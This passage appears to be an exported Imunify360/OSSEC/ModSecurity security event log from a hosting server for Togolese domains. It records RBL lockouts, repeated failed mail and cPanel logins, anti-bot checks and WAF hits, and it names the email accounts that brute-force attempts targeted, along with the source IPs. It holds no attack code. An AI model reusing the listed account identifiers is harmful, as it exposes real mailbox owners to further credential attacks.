name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:47:53 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.19.74.210
country_id: 3017382
description:
[2026-06-12 08:49:12 +0000] info [whostmgrd] 162.19.74.210 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:50:34 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:55584: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:51:22 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:54754: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:52:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.12
country_id: 1814991
description:
123.6.49.12 - - [12/Jun/2026:08:54:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001514&pdata=http%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781254444 HTTP/1.1" 404 561 cafe.tg "http://cafe.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.12


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.220.116
country_id: 290557
domain: www.sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sthandling-aero.tg:80/img-sys/IP_changed.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.92.15
country_id: 6251999
domain: www.sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sthandling-aero.tg:80/img-sys/server_misconfigured.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.67.118
country_id: 290557
domain: www.sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sthandling-aero.tg:80/img-sys/server_moved.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:53:42 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:59796: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:54:23 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46668: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:55:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57562: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:55:25 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53234: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:56:27 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:59620: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:56:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.196.198.163
country_id: 6252001
domain: api.free.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.26.95.249
country_id: 3469034
description:
Jun 12 08:58:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.26.95.249 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.71.103.38
country_id: 3658394
domain: sp-eau.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sp-eau.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.71.103.38
country_id: 3658394
domain: sp-eau.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sp-eau.tghttp/sp-eau.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 80.31.37.252
country_id: 2510769
description:
80.31.37.252 - - [12/Jun/2026:09:00:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856151&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-238105letidm45xel.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781254846 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-238105letidm45xel.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:80.31.37.252


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.72.2
country_id: 690791
description:
Jun 12 09:03:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.72.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 09:04:21 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:59324: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:04:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.31.134.29
country_id: 2750405
description:
Jun 12 09:07:06 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.31.134.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.134.29
country_id: 2750405
description:
2026-06-12 09:07:08 dovecot_plain authenticator failed for H=(9so8374fbrmtw77rvyurb0q0hu) [144.31.134.29]:37680: 535 Incorrect authentication data (set_id=david.ayivi@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 09:07:36 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:46288: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 09:07:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:43448: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:08:19 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.202.52
country_id: 953987
description:
Jun 12 09:07:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.202.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:08:28 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:13:36 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.175.221.173
country_id: 1694008
description:
2026-06-12 09:13:46 dovecot_login authenticator failed for H=(1b57Qjm3Iw) [202.175.221.173]:40510: 535 Incorrect authentication data (set_id=mointie.konlambigue@emt.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-12 09:14:48 +0000] info [webmaild] 160.242.195.10 - eagbenowoduga@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-12 09:16:01 +0000] info [webmaild] 160.242.195.10 - sayeva@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.198.85
country_id: 2413451
description:
Jun 12 09:16:56 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.198.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.90.235
country_id: 1668284
description:
Jun 12 09:17:40 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.90.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:18:39 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.229
country_id: 337996
description:
2026-06-12 09:21:26 dovecot_login authenticator failed for H=([49.124.155.189]) [196.189.124.229]:34732: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.138.3
country_id: 99237
description:
Jun 12 09:21:50 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.138.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-06-12 09:21:52 dovecot_login authenticator failed for H=([49.124.152.14]) [65.20.138.3]:37059: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.56
country_id: 2921044
description:
185.220.101.56 - libertepansel [12/Jun/2026:09:22:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792621&pdata=https%253A%252F%252Flibertetogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781256161 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.56


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.162
country_id: 3469034
description:
Jun 12 09:22:58 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.162 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.26.175
country_id: 2635167
description:
[2026-06-12 09:22:34 +0000] info [cpaneld] 195.63.26.175 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.199
country_id: 3865483
description:
Jun 12 09:22:35 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.161.234.118
country_id: 2921044
description:
2026-06-12 09:26:03 dovecot_plain authenticator failed for H=(2krdhm14iqct12cg8uja1gkbpnbyfx) [147.161.234.118]:22527: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:26:14 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:26:26 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.146
country_id: 2287781
description:
2026-06-12 09:27:02 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.146]:20864: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:30:05 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:33:03 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17676: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.40.88
country_id: 1880251
description:
43.156.40.88 - - [12/Jun/2026:09:33:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7171438&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnotions-et-valeurs-de-la-paix-johaness-makouvia-outille-plus-de-1300-jeunes-tchadiens%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781256787 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/notions-et-valeurs-de-la-paix-johaness-makouvia-outille-plus-de-1300-jeunes-tchadiens/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.40.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.101.146
country_id: 1269750
description:
Jun 12 09:32:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.101.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-06-12 09:32:23 dovecot_login authenticator failed for H=(101.57.223.222.broad.cz.he.dynamic.163data.com.cn) [27.123.101.146]:51746: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:34:03 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17681: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:35:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17684: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:36:09 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17685: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:37:11 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:09:37:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 14.225.208.202
country_id: 1562822
description:
14.225.208.202 - - [12/Jun/2026:09:36:58 +0000] "HEAD /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 0 direct7.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.225.208.202


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:37:25 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17686: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 128.90.59.80
country_id: 294640
description:
128.90.59.80 - - [12/Jun/2026:09:37:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.90.59.80


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:37:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 14.225.208.202
country_id: 1562822
description:
14.225.208.202 - - [12/Jun/2026:09:38:53 +0000] "HEAD /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 0 direct7.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.225.208.202


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:38:20 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9475: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:39:30 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9478: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.119.64.180
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.119.64.180
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:40:41 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9472: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.226.253
country_id: 3865483
description:
Jun 12 09:41:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.226.253 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 9.169.121.185
country_id: 6252001
description:
9.169.121.185 - - [12/Jun/2026:09:43:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793693&pdata=https%253A%252F%252Fucao-uut.tg%252Fformation-recherche%252Fdiplomes%252Flicence-gestion%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781257431 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/formation-recherche/diplomes/licence-gestion/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.163 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:9.169.121.185


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.245
country_id: 3469034
description:
Jun 12 09:45:15 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.245
country_id: 3469034
description:
Jun 12 09:45:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.245 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:09:45:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21664900 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.255
country_id: 2921044
description:
2026-06-12 09:45:48 dovecot_plain authenticator failed for H=tor-exit-4.zbau.f3netze.de (zsbimoljv4y8d42eboifpj3fde8rl) [185.220.100.255]:39846: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:46:15 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:8064: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.236.43.254
country_id: 1814991
description:
Jun 12 09:47:13 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.236.43.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:47:13 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.236.43.254
country_id: 1814991
description:
2026-06-12 09:47:15 dovecot_login authenticator failed for H=([179.181.135.1]) [116.236.43.254]:47936: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:47:17 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:5760: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:47:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:48:27 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18560: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.43
country_id: 798544
description:
Jun 12 09:49:09 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.43
country_id: 798544
description:
Jun 12 09:49:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.238.7
country_id: 3469034
description:
Jun 12 09:49:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.238.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:49:37 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:15232: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:50:07 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:50:37 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4608: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:09:51:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:51:38 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9216: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [12/Jun/2026:09:51:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.162
country_id: 6252001
domain: ciieeinternational.org
description:
